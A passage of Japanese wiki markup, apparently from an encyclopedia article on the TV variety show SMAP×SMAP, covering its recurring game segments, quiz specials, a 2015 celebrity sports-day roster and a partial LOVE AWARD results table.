|I Can't Stop Thinking About You / Every Breath You Take
|
|-
|[[久保田利伸]]
|[[Missing (久保田利伸の曲)|Missing]] / [[上を向いて歩こう|SUKIYAKI ~Ue wo muite arukou~]]
|
|-
!
|12月12日
|[[レディー・ガガ]]
|[[ジョアン (アルバム)|Million Reasons]] / [[ジョアン (アルバム)|Perfect Illusion]] / [[ジョアン (アルバム)|A-Yo]]
|
|-
!
|12月19日
|[[椎名林檎]]
|[[逆輸入 〜港湾局〜|青春の瞬き]]
|
|-
!
|12月26日
|
|世界に一つだけの花
|
|14.1%・17.4%・23.1%
|}
=== その他レギュラー企画 ===
; 涙のSMAP
: 1996年4月15日の第1回から何度も行われていたコーナー。メンバー5人(同年5月までは6人)やゲストが横1列に並ぶ椅子に座り、誰が一番早く涙が出るかを競う。森の強さは圧倒的で初回放送では3本勝負すべてで勝利した。審判は[[吉田伸男]](フジテレビアナウンサー)。なお、大阪から生放送した1997年10月13日のみ、当時関西テレビのアナウンサーだった[[桑原征平]]がレフェリーを務めた。
; 歌謡ドラマ
: 1996年頃から1998年頃まで不定期に行われていた、SMAPのシングル曲のタイトルを題材にしたショートドラマ。
: ある程度ドラマが完結した後、[[コンピュータグラフィックス|CG]]で歌の衣装が変化。そしてセットが割れ、歌のイントロが流れる。2005年8月15日に放送された『SMAP×SMAP夏休み特別企画 SMAPソング「[[青いイナズマ]]」から「[[BANG! BANG! バカンス!]]」まで全16曲一挙公開! 完全攻略スペシャル』では、「青いイナズマ」の居酒屋バージョン、「[[Peace! (SMAPの曲)|Peace!]]」の「スマロビアより愛をこめて(おそらく『[[007 ロシアより愛をこめて]]』のパロディ)」バージョンが放送された。
; まちがいSMAP
: 2006年頃から2008年頃まで不定期にオープニングで行われていたコーナー。生放送のオープニングの様に、スタジオの入り口前で「[[BISTRO SMAP]]」の衣装でトークをしているが、メンバーや後ろの張り紙のどこかが違っていたり(例:「SMAP×SMAP」が「STEP×STEP」になっている)、メンバーの誰か1人が別の芸能人(過去には[[具志堅用高]]、[[彦摩呂]]、[[猫ひろし]]、[[長州小力]]、[[ゆうたろう (ものまねタレント)|ゆうたろう]]、[[ダンディ坂野]]、[[阿藤快]]、[[安田大サーカス]]・[[クロちゃん (お笑い芸人)|クロちゃん]]、[[ウィル・スミス]])とすり替わっている(例:木村拓哉が長州小力)という間違いが5箇所程度隠されている。間違い箇所は番組の最後に発表される。
; 粘土の王国
: 王子か王女が出した課題をSMAP(ゲストが参戦する事もある)が[[粘土]]で作っていくが、お目に適わなかった作品は[[執事]]の[[ハンマー]]で潰される。毎回異なる子役が王子役、王女役で登場した。
; ろくろの王国
: 片岡鶴太郎が進行役となり、課題に合う陶芸作品を作る「粘土の王国」の兄弟企画。その後、有名人の依頼者に対して生け花や書道等の作品を作り、それを依頼者に評価してもらう「ニッポン道場」にリニューアルされた。(最下位のみ作品を没収される。)
; 玉様ビリヤード
: 初期は、SMAP5人による個人戦。1人ずつ順番に打って、自分の色のボールを落とした人から抜けていく勝ち抜け方式。1抜けが「玉様」となって罰ゲームを宣告。最後まで残った1人が、告げられた罰ゲームを行わないといけない。
: 現在は、ゲスト対SMAPの[[ナインボール]]対決。最後に9番ボールを入れた人が「玉様」(勝利)。敗者側は玉様の宣告する罰ゲームを実行する。
: 主なゲスト(括弧内は勝敗と罰ゲームの内容)
:*[[爆笑問題]](SMAP勝利、SMAPの出すお題〈[[近代オリンピック|オリンピック]]、床〉で即興漫才を披露〈この回では木村がブレイクショットで「9」のボールを入れてしまい、爆笑問題に打順が回らないまま終わってしまい、即興漫才を披露した後、爆笑問題の申し出によって2回戦が行われた。しかし、結局負けてしまい再び即興漫才を披露する事になってしまった〉)
:*[[ソン・スンホン]](SMAP敗北、五人でトイレに行きたくて仕方がない顔をすることとアカペラで「[[ありがとう (SMAPの曲)|ありがとう]]」を歌うこと)
:*[[ウィル・スミス]](SMAP敗北、各人の「どん底の話」)
:*[[哀川翔]](SMAP敗北、『[[ゼブラーマン]]』の主題歌を五人で)
:*[[イライジャ・ウッド]](SMAP勝利、同番組のコント「ダメ人間」シリーズの扮装で「僕、ダメ人間ですわ…」と言う)
:*[[さまぁ〜ず]](SMAP勝利、後輩芸人のネタをやること)
:*[[ロンドンブーツ1号2号]](SMAP勝利、妻帯者の[[田村亮 (お笑い芸人)|亮]]は嫁に、独身(当時)の[[田村淳|淳]]は母親に電話、「愛してる」と会話中で言わせる)
:*[[近藤真彦]](SMAP敗北、「[[スニーカーぶる〜す]]」を五人で当時の衣装とローラースケートで歌う)
:*[[ジェロ]](SMAP勝利、実家にいる家族へSMAPに敗北した事を電話で報告する)
; 歌え! アイドルキックオフ
: SMAPの前身グループである「スケートボーイズ」が出演していたテレビ番組のパロディ<ref group="注">コーナータイトルにおける曲は『[[おかあさんといっしょ]]』で使われていた曲を短くしたもの</ref>。司会は[[あのねのね]]([[原田伸郎]]・[[清水国明|清水國明]])。「青春学園1!1!1!」のコーナーで、様々なスポーツに挑戦。初期は5人による個人戦。現在は5人が協力して、ダブルダッチ、チアリーディング等の演技を一通りやり遂げる(やり遂げるまで収録は終わらない)。コーナーナレーションは、[[田口宏子]]。2006年11月20日放送で[[新庄剛志]]が「ツヨツヨ」として[[カメオ出演]]。2010年1月4日の生放送4時間半スペシャル内では、SMAPが事務所の後輩である[[KAT-TUN]]と対決した。また2016年には中居の出演していたスマホゲーム「[[アイドルマスター シンデレラガールズ スターライトステージ]]」のCMで着ていた衣装が本コーナーと同じようなデザインになってる。
; ルーレットボウリング
: 毎回2人のゲストを迎えて中居の司会で3対3に分かれゲームを行う。
: ボウリングの要領で球を投げて、レーンの先で回転しているルーレットの穴に球を入れる。先に、自チームの色の、1〜6の穴全てに入れたチームの勝利。
:<span style="color:#ff0000">Team Red</span>:木村・草彅(あるいは香取)とゲスト
:<span style="color:blue">Team Blue</span>:稲垣・香取(もしくは草彅)とゲスト
: 主なルール
:* Great Strike:予告した自チームの数字に入れる。こうなった場合は続けてもう一回投球できる。
:* Get:予告した数字ではないが、まだ残っている自チームの数字に入れる。
:* Present:まだ残っている相手チームの数字に入れてしまう。相手チームの数字が消える。
:* Revenge Ball:どちらかのチームがある程度数字を消した時点で登場。各チーム1回だけ白球を投球出来、相手チームの消した数字に入ればその数字を復活させることができるが、自チームに入れても復活してしまう。
: 負けたチームのメンバーは、勝ったチームにいるゲストのほしい物を自腹で買う(もしくはやってほしいことをやってもらう)。
: 主なゲスト
:* 久本雅美・[[雛形あきこ]]
:*[[YOU (タレント)|YOU]]・[[佐藤江梨子]]
:*[[松たか子]]・[[中島知子]]
:*[[磯野貴理子]]・[[一色紗英]]
:*[[ヒロミ]]・[[小池栄子]]
:*[[観月ありさ]]・[[松浦亜弥]]
:*[[三谷幸喜]]・[[戸田恵子]]
:*[[キャイ〜ン]]・[[山田優 (モデル)|山田優]]
:*[[江角マキコ]]・[[村上知子]]
:*[[ユースケ・サンタマリア]]・[[南海キャンディーズ]]
:*[[プリンセス天功]]・[[ガチャピン]]と[[ムック (キャラクター)|ムック]](投球したのはガチャピンのみで、ムックはガチャピン及び同チームの木村と草彅の応援のみ)
:*[[小林幸子]]・[[よゐこ]]
:*[[泉ピン子]]軍団(泉ピン子・[[石田ゆり子]]・[[原沙知絵]])
; ムービングスロー(MOVING THROW)
: SMAPチームとゲストチームが、動くフリースローで対決を行う。
: 最初にサイドムービング(挑戦者の立っている床がゴールから離れていく)を行う。ゴールから遠いところからシュートを決めると高得点。
: 次はアップムービング(ゴールが高くなっていく)を行う。高いところほど高得点。
: 最後はダブルムービング(床とゴールが両方とも動く)を行う。両方動く為、点数は前の2ゲームの倍。更に最後の1投のみ、任意でリングを小さくする代わりに、ゴールした際の点数を3倍に増やす事ができる。
; ローリング ボウリング
: 毎回2人のゲストを迎えて中居の司会で3対3に分かれゲームを行う。
: 交互に1人1投ずつ投げて、レーン先のターンテーブルにあるピンを倒して、エリアを争奪していく陣取りゲーム。
:<span style="color:#ff0000">Team Red</span>:木村・稲垣とゲスト
:<span style="color:blue">Team Blue</span>:香取・草彅とゲスト
: 主なルール
:* ターンテーブルは7分割されており、各エリアにそれぞれ10本のピンが立てられている。先に4エリアを獲得したチームの勝利となる。
:* Strike:1投で、1エリア10ピンを全て倒せば、勿論そのエリアを獲得。更に続けてもう1投、投げる事ができる。
:* Get:既に数本倒されているエリアで、最後の1ピンを倒した場合も、そのエリアを獲得できる。
:* Golden chance:どちらかのチームがリーチ(3エリア獲得)した時点で登場。相手が既に獲得しているエリアの中から1エリアを選び、そのエリアの1番ピンの場所にゴールデンピンを1本立てる。ゴールデンピンを倒す事ができれば、そのエリアを横取り。ただし、成功・失敗関係なく、各チーム1回しか挑戦できない。
; パイ!ロット(PIE!LOT)
: 2006年8月7日初放送。
: コント「[[SMAP×SMAPのコント・キャラクター#ア行|アナウンサーガンガン物語]]」で行われた企画の1つをレギュラー化。[[なぞなぞ]]問題が出題され、正解したら手元ボタンで、相手に[[パイ]]を[[パイ投げ|投げつける]]ことができるが、不正解なら自分が被害を受ける。投げられるほうは、パイ(クリーム)がぶつからないよう、正解音の後にすぐさま、プレートで防御する。途中、ダブル(トリプル)アタック問題が用意されている。しかし、正解音が鳴る前にボタンが押されたり、時間差攻撃、ボタンが壊れたフリをしたりすることも。最終問題は、灰色のダークパイ(12月限定はクリスマスパイ、元日SP時は金箔付栗きんとんパイ)がセットされる(プレートで防御できないノーガード問題となることもある)。
: コーナーナレーションは、[[福井謙二]]か[[吉田伸男]](共にフジテレビアナウンサー)。
: 主なゲスト
:*[[武田鉄矢]](2006年8月7日)
:*[[ヒロミ]](2006年9月18日)
:* 桂三枝(現・[[桂文枝 (6代目)|六代目桂文枝]])(2006年11月27日)
:*[[梨花]](2006年12月25日)
:*[[ナインティナイン]](2007年1月1日:元旦SP)
:*[[橋下徹]]大阪府知事(弁護士時代に収録したがお蔵入り。府知事就任後の2008年3月31日放送分に来店した「BISTRO SMAP」の中で、ダイジェスト版で放送された。)
; できるだろ!
: 2006年8月28日初放送。
: NHK教育テレビでかつて放送されていた『[[できるかな]]』のパロディ。内容は「粘土の王国」に似ており、100人の子供の前で工作をし、1番気に入ってもらえた作品の製作者以外の作品の製作者達が、コン太君に水中に突き落とされるというもの。
; アクターズコロシアム
: SMAPの5人がくじで決められた配役につき、全てのセリフをほぼ正確に演じきるまで終わらない。初期は裁判所が舞台で「裁判官・検事・弁護士・被告人・証人」という役であることが多かったが、のちに有名脚本家によるシナリオも登場した。
; スマスマドラマ
: 中居が主演のゲストとのショートドラマ。だが、最後にとんでもないオチが3、4個立て続けに中居にぶつけられ、動揺した中居がセットを破壊、最終的には池へ落ちるというベタなドタバタ劇と化してしまう。
:*[[相武紗季]](中居が相武の高校の教師役で、教師と生徒の恋愛をしていた。ところが相武が強面の男性と歩いていると聞き、お見合いを断って相武のもとへ行くとなんと相武は先生と漫才がしたかっただけであった。一緒に歩いていたのは漫才の相方となった[[クロちゃん (お笑い芸人)|クロちゃん]]。)
:*[[星野真里]](バンド仲間だったが、中居だけが大手レコード会社への就職を決めて東京へ出て行った。その後、用があると中居に電話があり、戻ると星野はヴィジュアル系バンドに入って、そのメンバーと結婚しており、デビューがしたいから紹介して欲しいというものだった。ちなみに相手は[[ROLLY]]。)
:*[[松下奈緒]](中居がタクシーに乗るときにタクシーから降り、「こんな人が彼女だったら…」と考えていた。タクシーの中に携帯電話を忘れ、中居がそれを届けた。そのとき待ち合わせの相手から電話がかかってきて、相手が現れるとなんと中居の父([[藤岡琢也]])であった。しかも松下は子連れ、さらに新しい子供もできていた)
:*[[木村佳乃]](廃校を間近に控えた高校が舞台。木村は教師をやめる決意をするが、「僕がそばにいるので大丈夫」と木村の背中を触る。すると木村が悲鳴を上げた。木村には夫がおり、しかも息子もいた)
:*[[小林麻央]](思い出のフォトグラフ。中居は小林の恩師役。小林が入院した中居を看病し続けるが、小林に電話がかかってきて小林が弟(実は婚約相手)がいるとカミングアウト。中居が退院すると待ち合わせの相手が小林の父親([[西岡徳馬]])でウェディングドレスを着た小林が弟役と結婚式をしていた)
:*[[永作博美]](あの日も輝いて…。憧れの美容師の永作に散髪してもらったら変な髪形にされた中居。そこに中居と似た髪形の[[山田五郎]]が現れた)
; トキメキメーター
: 2007年春から始まった様々なシチェーションの下でメンバー3人が女性ゲストを指定されたキーワードを交えた口説き文句をゲストにつけている心拍計でどれほどときめいたのか競うゲーム。
:; ゲスト
::[[黒木瞳]]
::[[伊東美咲]]
::[[浅野ゆう子]]
::[[夏木マリ]]
:; ゲストナレーション
::[[平野文]]
::[[三ツ矢雄二]]
::[[島本須美]]
; [[ペタンク|PETANQUE]]
: 2007年11月12日初放送。毎回2人のゲストを迎えて、木村・香取が[[ペタンク]]で真剣勝負。勝利者には、チームキャプテン生まれ年のワイン(SMAPチームは木村)を飲むことが出来る。
:# 高田純次、大竹まこと
:# 哀川翔、遠藤憲一
; 三文字流鏑馬
: 毎回2人のゲストを迎えて、中居の司会で3対3に分かれゲームを行う。
: 最初にお題を発表。お題に当てはまる三文字の言葉が完成するように、1人ずつ順番に五十音表の的に矢を放つ。先に三文字の言葉を完成させた軍の勝利。
: 2007年9月17日放送のこの企画で、番組史上初めてとなる、ジャニーズ事務所の後輩([[生田斗真]])がゲスト出演した。
; タメならべ
: 同学年の芸能人のペアを当てる。負けたチームは罰ゲームとしてヘリウムガスを吸って歌を歌う。
: 現在は、類似企画の「THE SAME CARD」(現れた芸能人と同い年の芸能人を、3人の中からSMAPが当てる)が放送されている。
; エッグポーカー
: 「ギャンブルは男の美学」というサブタイトルがついている。初期に放送されていたコーナー。
: ゲストが3つの卵の中から1つにサインをする。その後、卵を並べ替えてサインがゲストに見えないようにし、サインをした卵がどれかをゲストが当てる。
: 不正解の場合、ゲストが卵1個を溶いて飲む。正解の場合、メンバーが3個すべてを飲む。
: ディーラーは中居(キング)・香取(ジョーカー)・稲垣(ジャック)と、木村(スペード)・草彅(クローバー)の2グループがあり、一人のゲストがこの2グループそれぞれと対戦した。
: 『[[桃太郎電鉄7]]』では、この企画をパロディ化したカードが登場した。
; 8秒の壁
: 早口言葉を8秒以内に3回言うコーナー。お題は個々によって異なり、自分の扮するキャラクターにまつわるものや、苦手とする音が多く含まれているフレーズが出題される。
: 上半身裸で白い背景1枚しか用意されないため、放送当時は番組一低予算な企画としてテレビ雑誌で紹介された。
; 指スマ
: 生放送時に行われていたゲームコーナー。
: 親指を折った拳を左右両方突き出して、ゲームスタート。1人ずつ順番に「指スマ、○!」(○には数字が入る)と掛け声を掛け、同時に各々任意で拳の親指を立てていく。
: 掛け声の数字と親指の立った本数が一致すればポイントで、拳を片方しまう事ができる。一致していなかった場合は、拳をしまえないまま、次の人に権利が移る。
: 拳を片方しまった状態で、もう一度掛け声と本数を一致させたら勝ち抜け。これを、最後の1人が残るまで繰り返す。
: 当初はゲストも交えた単独企画で、敗者が罰ゲームを行う事になっていたが、後にS-1グランプリのラスト種目になった。
; 本当にあった恋の話
: SMAPと豪華女優陣によるミニドラマ集。
: 文字通り、視聴者から「本当にあった衝撃的な恋の話」を投稿してもらい、それをSMAPと人気女優によってドラマ化、その衝撃度をスタジオにいる審査員10人(中居以外のメンバー4人とゲスト審査員6人)が一人10点の100点満点で採点する。基本的に女優陣は宣伝が絡んでいる。このコーナーは2時間SP・15分拡大SP・通常の放送回で前後篇の2週に分けるなど、時間が拡大されて放送される。
: 上記の「スマスマドラマ」とは異なり、ドラマ内に笑いの要素は一切含まず、ドラマの中のキャラクターの起こす常識を外れた行動や言動で笑いを取る形になっている。また、中にはスタジオから悲鳴が上がる程の恐怖の恋話もある。
; ちょっとだけ会いたい人
: 2010年から不定期に放送されていたコーナー。SMAPメンバーの誰かのちょっとだけ会いたい人が登場し、SMAPとトーク等をする。
; みんなで歌おう!! SMAP ni のど自慢!
: ゲストがエピソードを紹介した後にメンバーの前で一番お気に入りのSMAPの曲を歌い、サビの前でゲストの歌唱力やリズムなどの様々な観点から「一緒に歌いたい!」と思ったメンバーからステージへ向かい、ゲストと共に歌う。向かったメンバーの数により評価が異なり、「超SMAP」(5人全員)を皮切りに「ほぼSMAP」(4人)・「ややSMAP」(3人)・「2-SMAP」・「1-SMAP」となる。
; THE BUDDY
: 2010年11月22日の「BISTRO SMAP」でゲストの[[向井理]]が出演した際に、SMAPと刑事ドラマで共演するならというテーマで向井が配役を考えて、2011年5月30日の放送で実現したスペシャルドラマである。配役は新米刑事は向井、先輩刑事は木村、ライバル刑事は中居、上司は稲垣、犯人は草彅、被害者は香取であるがなぜか香取はゲスト扱いとなっていた。
; スマ進ハイスクール
: 2013年から不定期に放送されていたコーナー。ある道の達人からSMAP5人が授業を受ける。講師には[[村上隆]]・[[宮藤官九郎]]・[[秋元康]]・[[中田ヤスタカ]]・[[西本智実]]・[[三池崇史]]などが登場した。
; スムージーカジノ
: 2013年から不定期に放送されていたコーナー。木村、稲垣、香取がゲストと三つのスムージーから一番おいしいものを当てる。外したら罰ゲームがある。
; オドロキ隊!
: 2014年から不定期に放送されていたコーナー。そんじょそこらのことでは驚かなくなったSMAP5人に対し、最新の設備や芸術を紹介していく。
; 私SMAPになりました
: 2015年から不定期に放送されていたコーナー。有名人の顔を、[[ざわちん]]がものまねメイクによって、SMAPメンバーの顔に変身させる。
; 鼻うた検索SHOW!
: 2015年から不定期に放送されていたコーナー。音楽認識検索アプリ「[[SoundHound]]」を使い、SMAPメンバーとゲストが鼻歌で正確に曲検索させることに挑戦する。
; コピスマ!
: 2016年4月18日初放送。SMAPメンバーが習得したい技術を本人に指導してもらい「完全コピー」する。
; SMAP限界クイズ
: 2016年5月30日初放送。SMAPメンバーが自分の限界を超えたチャレンジに挑戦したVTRを見て、最終的に成功したか失敗したかを当てる2択クイズ。
=== 芸能界○○王決定戦 ===
; [[ONE PIECE]]王決定戦
: 木村と『ONE PIECE』好きの芸能人が集まり、クイズ大会を繰り広げる。優勝者には[[尾田栄一郎]]が書き下ろした「麦わら海賊団のグラフィックの中心に自分が入る」特典が与えられる(番組ホームページに載せられる)。また『ONE PIECE』を読んだことも見たこともない草彅と稲垣が、「見届け人」として雛壇から観覧している。初代王者は木村。
: 第2弾では王者木村の席には特注の[[海賊 (ONE PIECE)#ロジャー海賊団|ゴール・D・ロジャー]]を模したヒゲが設置されたが、裏には「'''フジテレビ 美術 オマケ'''」と書かれている安物だった。
:{| class="wikitable" style="font-size:9pt"
|-
!回数!!放送日!!出演者!!優勝者
|-
|第1回||2010年8月23日||木村拓哉・[[ファンキー加藤]]([[FUNKY MONKEY BABYS]])・[[山里亮太]]([[南海キャンディーズ]])・[[矢口真里]]・[[皆藤愛子]]・[[田村裕]]([[麒麟 (お笑いコンビ)|麒麟]])||木村拓哉
|-
|第2回||2010年12月13日・12月20日||木村・山里・加藤・[[ケンドーコバヤシ]]・[[武蔵 (格闘家)|武蔵]]・[[AKB48]]チーム([[高橋みなみ]]・[[北原里英]]・[[指原莉乃]](いずれも放送当時))||ケンドーコバヤシ
|-
|第3回||2011年2月14日||木村・ケンドーコバヤシ・山里・加藤・AKB48(高橋・北原・指原)・[[西山茉希]]・[[三村マサカズ]]([[さまぁ〜ず]])||木村拓哉
|-
|第4回||2011年8月1日||木村・加藤・山里・三村・AKB48(高橋・北原・指原)・[[金田哲]]([[はんにゃ]])||木村拓哉
|-
|第5回||2012年3月19日||木村・加藤・山里・矢口・[[児嶋一哉]]([[アンジャッシュ]])・[[有吉弘行]]||木村拓哉
|-
|第6回||2012年12月17日||木村・加藤・山里・ケンドーコバヤシ・[[芹那]]||木村拓哉
|-
|第7回||2014年9月1日||木村・加藤・AKB48(北原・指原)・児嶋・[[鈴木みのる]]||鈴木みのる
|}
; [[ジャッキー・チェン]]王決定戦
: ジャッキー・チェン好きの芸能人が集まり、彼の映画に纏わるクイズ大会を繰り広げる。優勝者には直筆のジャッキーのサイン色紙。参加者は香取・[[大橋卓弥]]([[スキマスイッチ]])・[[中川礼二|中川家礼二]]([[中川家]])・[[河本準一]]([[次長課長]])・[[中川翔子]]。「ジャッキーの映画を見たことがない人」の木村と稲垣が雛段から観覧した。また、木村はジャッキーの手形を本人からもらっており、スタジオの誰よりも珍しいアイテムを持っていた。
; [[レディー・ガガ]]王決定戦
: レディー・ガガファンの芸能人が集まり、彼女の曲のイントロやエピソードでクイズ大会を行った。各々でガガを意識したファッションで出演し、出演者は木村・稲垣・香取・[[IMALU]]・[[テリー伊藤]]・[[VERBAL]]。優勝者はIMALU。
=== 特別企画 ===
; [[SMAP AID]]ランキング公開
: 2011年8月17日にリリースされた[[ベストアルバム]]『[[SMAP AID]]』に収録される楽曲をランキング形式での発表が2011年8月8日に放送された。今までのコンサートやスマスマや『[[夢がMORI MORI]]』での貴重映像とともに発表された。ナレーションは[[赤坂泰彦]]。ランキング結果は『SMAP AID』を参照。
; SMAPはじめての5人旅スペシャル!!
: 2013年4月8日放送。SMAP結成25周年を記念して企画されたもの。「行き先、宿泊先は自由。ただし撮影許可を取ること」のルールの下、大阪からレンタカーで移動し、5人自ら宿泊予約や撮影許可を取りつつ、[[ユニバーサル・スタジオ・ジャパン]]や[[イトーヨーカ堂|イトーヨーカドー]]、[[セブン-イレブン]]やお好み焼き店などに寄った。宿泊した旅館では、露天風呂につかったり、ゲーム、カラオケなどを楽しんだりした。また、カラオケでは中居が選曲した自分らの楽曲を次々と歌唱する中、「[[ベスト・フレンド (SMAPの曲)|BEST FRIEND]]」を歌っている最中に中居が感極まって号泣し(草彅ももらい泣き)、香取にイジられる場面もあった<sup>[https://www.cinematoday.jp/news/N0051932]</sup>。翌週15日には未公開も収めた完全版が放送された。
: なお、同日は20:50 - 23:13の拡大版で、[[浜崎あゆみ]]がゲスト出演(この年歌手デビュー15周年)した「BISTRO SMAP」や連続ドラマ「Mistake!」も放送された。
: この回の平均視聴率は関東地区で'''20.0%'''、関西地区で'''24.8%'''、瞬間最高視聴率は'''24.3%'''だった(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)。
; SMAPシングル50枚!一気に見せます!しゃべります!SP
: 2013年6月3日 - 17日の3週連続で放送。同年6月5日に発売されたSMAPの50枚目のシングル「[[Joy!!]]」のリリースを記念して企画されたもの。リリース順ではなく、50音順に全シングルを懐かしの映像で振り返るというものになっている(なお、両A面があるため実際は53曲)。
; スター大運動会
: 2015年3月30日放送。当番組史上初の総勢74名の芸能人による大運動会を開催。SMAPが5人それぞれ5つのチームに分かれ、優勝を目指して5つの種目で競った。
: それぞれのチームのキャプテンは、SMAPのメンバーが務めた。
: 種目は、「SMAP50m走」「スマスマ綱引き」「人間大玉ころがし」「ダンシング玉入れ」「選抜リレー」。
: 進行は[[三宅正治]]、[[西山喜久恵]]<small>(両者フジテレビ[[日本のアナウンサー|アナウンサー]])</small>が、審判長は[[小倉智昭]]<ref group="注">『[[情報プレゼンター とくダネ!]]』からフジテレビの[[フジテレビ系列平日午前のワイドショー枠|朝の情報番組]]の代表として出演。</ref> が、アシスタント(マイクフォロー)は[[中村光宏]]、[[松村未央]]<small>(両者フジテレビアナウンサー)</small>が担当。
: 優勝:TEAM INAGAKI、準優勝:TEAM KUSANAGI、3位:TEAM KIMURA、4位:TEAM KATORI、5位:TEAM NAKAI
: なお、同日は21:00 - 23:18の拡大版で、[[シャーロット・ケイト・フォックス]]がゲスト出演(2日前に終了した朝ドラ「[[マッサン]]」のヒロイン)した「BISTRO SMAP」も放送された。
: この回の平均視聴率は'''15.9%'''だった(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)。
<div class="NavFrame" style="width:100%">
<div class="NavHead" style="padding:1.5px; line-height:1.7; letter-spacing:1px">出場者</div>
<div class="NavContent" style="text-align: left;">
{|class="wikitable" style="text-align:center"
|-style="text-align:center"
|-
!style="background: #f0c; width: 20%"|TEAM NAKAI!!style="background: #f00; width: 20%"|TEAM KIMURA!!style="background: #0cf; width: 20%"|TEAM INAGAKI!!style="background: #ff0; widtgh: 20%"|TEAM KUSANAGI!!style="background: #0f0; width: 20%"|TEAM KATORI
|-
|中居正広<br />[[坂上忍]]<ref group="注">『[[バイキング (テレビ番組)|バイキング]]』(フジテレビ)の[[生放送]]終わりからの途中参加。</ref><br />[[ローラ (モデル)|ローラ]]<br />[[篠原信一]]<br />[[IKKO]]<br />[[香寿たつき]](<small>元</small>[[宝塚歌劇団|宝塚]][[星組 (宝塚歌劇)|星組]])<br />[[高橋みなみ]](<small>当時</small>[[AKB48]])<br />[[渡辺麻友]](<small>当時</small>AKB48)<br />[[島崎遥香]](<small>当時</small>AKB48)<br />[[川栄李奈]](<small>当時</small>AKB48)<br />[[千賀健永]]([[舞祭組]]<ref name=kis-my-ft2 group="注">[[Kis-My-Ft2]]のメンバーでもあるが、この企画では舞祭組のメンバーとして出演。</ref>)<br />[[二階堂高嗣]](舞祭組<ref name=kis-my-ft2 group="注"/>)<br />[[宮田俊哉]](舞祭組<ref name=kis-my-ft2 group="注" />)<br />[[横尾渉]](舞祭組<ref name=kis-my-ft2 group="注"/>)
|木村拓哉<br />[[ヒロミ]]<br />[[真琴つばさ]](<small>元</small>宝塚[[月組 (宝塚歌劇)|月組]])<br />[[勝村政信]]<br />[[はるな愛]]<br />[[藤ヶ谷太輔]]([[Kis-My-Ft2]])<br />[[LiLiCo]]<br />[[佐々木健介]]<br />[[北斗晶]]<br />[[ジェシー (アイドル)|ジェシー]]([[ジャニーズJr.]])<br />[[松井珠理奈]](<small>当時</small>[[SKE48]]<ref name=ske48 group="注">放送当時AKB48のメンバーでもあったが、この企画ではSKE48のメンバーとして出演。</ref>)<br />[[須田亜香里]](<small>当時</small>SKE48)<br />[[古畑奈和]](<small>当時</small>SKE48<ref name="ske48" group="注" />)
|稲垣吾郎<br />[[石田純一]]<br />[[東尾理子]]<br />[[森脇健児]]<br />[[凰稀かなめ]](<small>元</small>宝塚[[宙組 (宝塚歌劇)|宙組]])<br />[[北山宏光]](Kis-My-Ft2)<br />[[武田修宏]]<br />[[内藤大助]]<br />[[ざわちん]]<br />高橋颯(ジャニーズJr.)<br />[[白石麻衣]](<small>当時</small>[[乃木坂46]])<br />[[西野七瀬]](<small>当時</small>乃木坂46)<br />[[生田絵梨花]](<small>当時</small>乃木坂46)
|草彅剛<br />[[関根勤]]<br />[[天野ひろゆき]]([[キャイ〜ン]])<br />[[ウド鈴木]](キャイ〜ン)<br />[[田中理恵 (体操選手)|田中理恵]]<br />[[壮一帆]](<small>元</small>宝塚[[雪組 (宝塚歌劇)|雪組]])<br />[[玉森裕太]](Kis-My-Ft2)<br />[[KABA.ちゃん]]<br />[[前園真聖]]<br />[[ボビー・オロゴン]]<br />[[高田翔]](ジャニーズJr.)<br />[[山本彩]](<small>当時</small>[[NMB48]]<ref group="注">放送当時AKB48のメンバーでもあったが、この企画ではNMB48のメンバーとして出演。</ref>)<br />[[渡辺美優紀]](<small>当時</small>NMB48)<br />[[白間美瑠]](<small>当時</small>NMB48)
|香取慎吾<br />[[蘭寿とむ]](<small>元</small>宝塚[[花組 (宝塚歌劇)|花組]])<br />[[山本耕史]]<br />[[山崎弘也]]([[アンタッチャブル (お笑いコンビ)|アンタッチャブル]])<br />[[織田信成 (フィギュアスケート選手)|織田信成]]<br />[[秋山成勲]]<br />[[中山優馬]]<br />[[岩橋玄樹]](ジャニーズJr.)<br />[[指原莉乃]](<small>当時</small>[[HKT48]])<br />[[宮脇咲良]](<small>当時</small>HKT48<ref name=hkt48 group="注">放送当時AKB48のメンバーでもあったが、この企画ではHKT48のメンバーとして出演。</ref>)<br />[[兒玉遥]](<small>当時</small>HKT48<ref name=hkt48 group="注" />)<br />[[日本エレキテル連合#メンバー|中野聡子]]([[日本エレキテル連合]])<br />[[日本エレキテル連合#メンバー|橋本小雪]](日本エレキテル連合)
|}
</div></div>
;SMAP×SMAP MEMORIES FILE
: 2016年10月3日初放送。過去に放送されたコント作品を、SMAPの曲を流しながら共に振り返る総集編コーナー。主に、コントのダイジェスト版を当番組で披露されたSMAPのパフォーマンスを挟みながら一挙に振り返るため、コントと音楽の融合コーナーでもある。1回目の同日の放送では、1996年から1997年までの2年間分が放送された。2回目は同年10月31日に、1998年から1999年までの2年間分を放送された。3回目は同年11月7日に、2000年の1年間分を放送された。4回目は同年11月28日に、2001年から2002年の2年間分を放送された。5回目は同年12月5日に、2003年から2004年までの2年間分を放送された。6回目は同年12月12日に、2005年までの1年間分を放送。
=== 主なコント・キャラクター ===
{{See|SMAP×SMAPのコント・キャラクター}}
== LOVE AWARD ==
年に1回放送される。1年間のNGや未公開映像を放送して、「スマスマを愛しているメンバー」「スマスマを愛していないメンバー」を決める。大体「スマスマを愛していないメンバー」に決められたメンバーは、スマスマの生放送(特番)の告知を『[[めざましテレビ]]』などでやらされる(2005年度からは中居を含めたメンバー全員が罰ゲームを考え、「BEST LOVE AWARD」に選ばれたメンバーの考えた罰ゲームを「WORST LOVE AWARD」に選ばれたメンバーが実行するといった態勢をとっている)上記の方法によって生まれたコントが、中居正広が主演・香取慎吾が監督のテロテアリーナである。2001年、2006年、2009年以降は放送されていない。
{| class="wikitable"
|+ style="font-weight:bold" | 過去の「LOVE AWARD」の成績
|-
! 放送日 !! 司会 !! BEST LOVE AWARD !! WORST LOVE AWARD !! 罰ゲーム
|-
| 1998年10月12日 || style="text-align:center" rowspan="2" | 森本毅郎 || style="text-align:center" rowspan="4" | - || 中居正広 || 頭から巨大水風船
|-
| 1999年10月11日 || 稲垣吾郎 || 足つぼマッサージ
|-
| 2000年10月23日 || style="text-align:center" rowspan="2" | 草野 仁 || 香取慎吾 || 激辛湘爆ラーメン
|-
| 2002年3月4日・3月11日 || 中居正広 || rowspan="3" | SPを放送当日、早朝から生番組で宣伝
|-
